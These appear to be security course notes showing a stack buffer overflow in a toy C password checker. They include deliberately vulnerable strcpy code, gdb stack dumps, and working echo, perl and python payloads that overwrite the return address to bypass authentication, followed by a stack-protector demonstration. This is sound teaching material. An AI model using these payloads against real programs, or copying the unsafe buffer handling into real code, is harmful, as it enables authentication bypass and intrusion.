Consider again the vulnerable password checking of previous class:
int check(char *pwd) {
int auth_flag = 0; // flag is false, initially
char pwd_buffer[16];
// password is copied into a local buffer
strcpy(pwd_buffer, pwd);
if (strcmp(pwd_buffer, "itisme") == 0 )
auth_flag = 1;
return auth_flag;
}
When we compile the program with option -fno-stack-protector
the strcpy
can overflow pwd_buffer
and overwrite auth_flag
, setting it to 1 and bypassing password check.
testbed$ ./pwdcheck AAAAAAAAAAAAAAAAA
AUTHENTICATED!
testbed$
In the following variant, we do not have auth_flag
but strcpy
can still overflow pwd_buffer
.
int check(char *pwd) {
char pwd_buffer[16];
// password is copied into a local buffer
strcpy(pwd_buffer, pwd);
if (strcmp(pwd_buffer, "itisme") == 0 )
return 1;
else
return 0;
}
Now there is no variable to overwrite in order the change the return value and the above attack has no effect (even when compiled with -fno-stack-protector
, i.e., with stack protector disabled)
testbed$ ./pwdcheck2 AAAAAAAAAAAAAAAAAAAAAA
ACCESS DENIED!
What happens if we increase even more the length of the input?
testbed$ ./pwdcheck2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
testbed$
Program gives a ‘segmentation fault’ with no output.
What is happening?
- Our input string overwrites the stack all the way to the saved ebp or the return address of the function
check
; - When function
check
returns, either the stack is corrupted or the program simply dereferences a junk address (what we have written on the stack) which is likely to be out of any meaningful segment, from which the error.
We depict the stack state just before function check
returns:
pwd_buffer |
... |
saved base pointer (ebp of the calling function) (overwritten) |
return address (overwritten) |
We illustrate with gdb:
(gdb) disass check
Dump of assembler code for function check:
0x080484aa <+0>: push ebp
...
0x080484ce <+36>: call 0x8048350
0x080484d3 <+41>: add esp,0x10
0x080484d6 <+44>: test eax,eax
...
End of assembler dump.
We set a breakpoint right after the call to strcpy and we run the program with input AAAAAAAAAAAAAAAAAAAAAAA
, i.e., the biggest string that does not crash the program.
(gdb) break *0x080484d3
Breakpoint 1 at 0x80484d3
(gdb) r AAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/r1x/Overflow/returnAddress AAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x080484d3 in check ()
Now we can have a look at the stack:
(gdb) x/12xw $esp
0xbffff860: 0xbffff870 0x080485f0 0xb7e37bc8 0x08048319
0xbffff870: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff880: 0x41414141 0x00414141 0xbffff8a8 0x0804852b
We can see all the 0x41 corresponding to ‘A’ and the terminating 0x00 (notice the little-endianess). Since we have picked the longest string not crashing we must be right before the stored ebp. In fact 0xbffff8a8
is right after the current stack addresses and 0x0804852b
is close to the address of check function. We can check that it’s the return address by disassembling the main function:
(gdb) disass main
Dump of assembler code for function main:
...
0x08048526 <+62>: call 0x80484aa
0x0804852b <+67>: add esp,0x10
0x0804852e <+70>: test eax,eax
...
End of assembler dump.
(gdb)
From the previous disassemble of main function we can easily discover the address of printf("AUTHENTICATED!\n");
:
0x08048532 <+74>: sub esp,0xc
0x08048535 <+77>: push 0x804860a
0x0804853a <+82>: call 0x8048370
...
(gdb) x/s 0x804860a
0x804860a: "AUTHENTICATED!"
(gdb)
If we manage to place this address in place of the return address we can make the program jump directly on the interesting part of the code (where authentication is successful).
Let us see if this works in gdb:
(gdb) x/xw $esp+11*4
0xbffff88c: 0x0804852b
(gdb) set *0xbffff88c = 0x08048532
(gdb) x/xw $esp+11*4
0xbffff88c: 0x08048532
(gdb) c
Continuing.
AUTHENTICATED!
[Inferior 1 (process 3905) exited with code 017]
(gdb)
We managed to change the return address from 0x0804852b
to 0x08048532
and we made the program jump directly into the “authenticated” branch!
Exploiting the vulnerability
We have seen that return address, if overwritten, can make a program jump to a different place when a function returns. How can this be exploited through a buffer overflow? The idea is to simply overflow the buffer with the desired return address so to overwrite the one on the stack. Recall that little-endianess requires to store bytes in reversed order, so to write 0x08048532
we have to in fact write 0x32850408
.
A way to write arbitrary bytes on the terminal is to use echo with option -e and prefixing byte by \x:
r1x@testbed ~/overflow $ echo -e "\x41"
A
We now take the shortest sequence of ‘A’ that crashes the program, i.e., the one that overwrites one byte of the ebp with the terminating 0x00. We then add four more ‘A’ letters to cover the ebp and we place the address in little endian format. We use ‘command substitution’ of bash, written $(command), to pass arbitrary sequences of bytes to our program. Command substitution executes the command and put its output in place of $(command). We thus use $(echo …) to execute echo and pass the resulting output as argument to pwdcheck2:
r1x@testbed ~/overflow $ ./pwdcheck2 $(echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAA\x32\x85\x04\x08")
AUTHENTICATED!
Segmentation fault
Ah! we get “AUTHENTICATED!” so the program is jumping where we wanted it to jump!
Tip: we could use perl to simplify building the attack payload as follows. Notice that x7 repeats 7 times the preceding string and . is used to concatenate:
r1x@testbed ~/overflow $ ./pwdcheck2 $(perl -e 'print "AAAA"x7 . "\x32\x85\x04\x08"') AUTHENTICATED! Segmentation faultSimilarly, we can use python to shape the payload:
r1x@testbed ~/overflow $ ./pwdcheck2 $(python -c 'import sys; sys.stdout.write("AAAA"*7 + "\x32\x85\x04\x08")') AUTHENTICATED! Segmentation fault
In fact we can simply repeat the address enough time as in
r1x@testbed ~/overflow $ ./pwdcheck2 $(perl -e 'print "\x32\x85\x04\x08"x10')
AUTHENTICATED!
Segmentation fault
If we enable stack protector this attack is prevented.
r1x@testbed ~/overflow $ gcc -o pwdcheck2 pwdcheck2.c -fstack-protector
r1x@testbed ~/overflow $ ./pwdcheck2 $(perl -e 'print "\x54\x85\x04\x08"x10')
*** stack smashing detected ***: ./pwdcheck2 terminated
Segmentation fault